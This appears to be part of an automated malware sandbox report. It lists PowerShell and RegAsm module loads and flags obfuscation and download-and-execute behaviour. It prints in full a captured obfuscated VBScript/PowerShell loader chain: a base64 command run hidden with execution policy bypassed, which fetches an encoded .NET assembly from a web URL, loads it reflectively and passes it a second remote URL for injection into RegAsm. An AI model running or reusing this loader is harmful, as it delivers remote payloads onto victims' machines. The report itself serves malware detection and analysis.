Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: System.Data.Linq.pdb source: powershell.exe, 0000000A.00000002.1404922826.0000026F3E840000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1436384107.0000026F45F00000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJyk", "0", "false");
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Obfuscated command line found
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))" Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 11_2_0041CBE1
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FF7C0C905B9 push edi; retf 8_2_00007FF7C0C905BA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FF7C0C900BD pushad ; iretd 8_2_00007FF7C0C900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FF7C0C9101D pushad ; retf 8_2_00007FF7C0C91022
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FF7C0C9E37E pushad ; iretd 10_2_00007FF7C0C9E399
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FF7C0C91425 pushad ; retf 10_2_00007FF7C0C9142A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FF7C0C97563 push ebx; iretd 10_2_00007FF7C0C9756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FF7C0C900BD pushad ; iretd 10_2_00007FF7C0C900C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00457186 push ecx; ret 11_2_00457199
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0045E55D push esi; ret 11_2_0045E566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00457AA8 push eax; ret 11_2_00457AC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00434EB6 push ecx; ret 11_2_00434EC9
Contains functionality to download and launch executables
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00406EEB ShellExecuteW,URLDownloadToFileW, 11_2_00406EEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 11_2_0041AADB
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 11_2_0041CBE1
